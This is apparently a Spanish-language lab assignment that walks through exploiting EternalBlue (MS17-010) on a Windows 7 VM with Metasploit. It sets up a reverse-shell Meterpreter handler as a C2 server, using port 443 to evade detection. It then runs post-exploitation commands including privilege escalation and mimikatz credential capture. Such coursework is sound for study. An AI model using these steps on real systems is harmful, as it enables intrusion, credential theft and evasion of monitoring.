Práctica 03: Explotación de EternalBlue y Configuración del Servidor C2

✅ 1️⃣ Documentación sobre EternalBlue (MS17-010)

📌 ¿Qué es EternalBlue?

EternalBlue es una vulnerabilidad en el protocolo SMBv1 de Windows que permite la ejecución remota de código sin autenticación. Fue descubierta por la NSA y filtrada por el grupo Shadow Brokers en 2017. Permite comprometer sistemas Windows sin necesidad de credenciales, si el puerto 445 está abierto. Fue utilizada en ataques masivos como WannaCry y NotPetya.

📌 Impacto en Windows 7 SP1

Windows 7 SP1 es vulnerable si no tiene instalados los parches de seguridad de Microsoft. Al explotarla con Metasploit, se obtiene acceso remoto con permisos de NT AUTHORITY\SYSTEM.

📌 Cómo se explota con Metasploit

Se usa el módulo exploit/windows/smb/ms17_010_eternalblue. Se configura la dirección IP de la víctima. Se lanza el exploit para obtener acceso con Meterpreter.

✅ 2️⃣ Explotación de la Vulnerabilidad en Windows 7 SP1

📌 Pasos en Kali Linux:

1️⃣ Abrir Metasploit:

```
msfconsole
```

2️⃣ Cargar el exploit de EternalBlue:

```
use exploit/windows/smb/ms17_010_eternalblue
```

3️⃣ Configurar los parámetros del exploit:

```
set RHOSTS 10.0.2.X    # IP de la máquina Windows 7
set LHOST 10.0.2.Y     # IP de Kali Linux
set LPORT 4444         # Puerto para recibir la conexión reversa
set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

4️⃣ Ejecutar el exploit:

```
exploit
```

5️⃣ Si la explotación es exitosa, obtendrás una sesión de Meterpreter:

```
meterpreter>
```

6️⃣ Escalar privilegios (si es necesario):

```
getsystem
```

✅ 3️⃣ Configuración del Servidor C2 en Metasploit

📌 Objetivo:

Configurar Metasploit para actuar como un servidor C2 (Command & Control) y gestionar sesiones de postexplotación.

Pasos:

1️⃣ Iniciar Metasploit y configurar el handler:

```
msfconsole
```

2️⃣ Cargar el módulo multi/handler:

```
use exploit/multi/handler
```

3️⃣ Configurar el payload:

```
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.2.Y     # IP de Kali Linux
set LPORT 443          # Puerto de escucha (usar 443 para evadir detección)
```

4️⃣ Iniciar el listener:

```
exploit -j
```

🔷 Ahora el servidor C2 está esperando conexiones entrantes.

✅ 4️⃣ Validación de Acceso a la Máquina Comprometida

Desde la sesión de Meterpreter:

1️⃣ Verificar conexión:

```
sysinfo   # Muestra información del sistema víctima
```

2️⃣ Listar procesos activos:

```
ps
```

3️⃣ Capturar credenciales en memoria:

```
mimikatz
```

4️⃣ Abrir una shell en Windows:

```
shell
```

5️⃣ Moverse entre sesiones activas:

```
sessions -l
sessions -i [ID]
```